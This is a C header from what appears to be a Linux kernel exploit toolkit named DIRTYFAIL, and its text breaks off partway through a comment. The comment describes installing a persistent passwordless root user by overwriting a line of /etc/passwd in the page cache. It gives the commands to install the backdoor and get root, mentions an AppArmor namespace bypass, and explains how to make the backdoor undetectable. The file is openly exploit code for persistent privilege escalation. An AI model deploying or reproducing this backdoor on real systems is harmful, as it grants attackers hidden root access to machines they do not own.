/* * DIRTYFAIL — backdoor.h * * Persistent uid-0 backdoor in the /etc/passwd page cache. * * MORE INVASIVE than the UID-flip exploits in copyfail.c / * dirtyfrag_esp.c / dirtyfrag_rxrpc.c. Where those modify the calling * user's UID for one shell session, this mode inserts a brand-new * passwordless uid-0 user "dirtyfail" by length-matched overwrite of * an existing nologin/false/sync line. The substituted line stays in * the page cache until eviction, so: * * ./dirtyfail --exploit-backdoor # install + drop into root * exit # back to your normal shell * su - dirtyfail # any user, any time → root * * The username "dirtyfail" is intentionally chosen to match this * project — anyone auditing /etc/passwd will spot it immediately, * which is the opposite of stealth-by-default. If you need an * undetectable backdoor for an authorized red-team engagement, * change NEW_USER in backdoor.c. * * The on-disk /etc/passwd is unchanged. State (LINE_OFF, original * VICTIM_LINE) is persisted at /var/tmp/.dirtyfail.state so that * `--cleanup-backdoor` can restore the original line byte-by-byte * via the same 1-byte primitive. * * This mode requires the GCM single-byte primitive (`cfg_1byte_write`) * to land arbitrary bytes at arbitrary offsets — the 4-byte authencesn * primitive can't easily rewrite a 50-byte line that doesn't align * to 4-byte boundaries. * * Technique credit: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo * (`run.sh`); reimplemented here as a single C function. */ #ifndef DIRTYFAIL_BACKDOOR_H #define DIRTYFAIL_BACKDOOR_H #include "common.h" df_result_t backdoor_install(bool do_shell); df_result_t backdoor_cleanup(void); /* INNER variants — run inside the AA bypass userns.
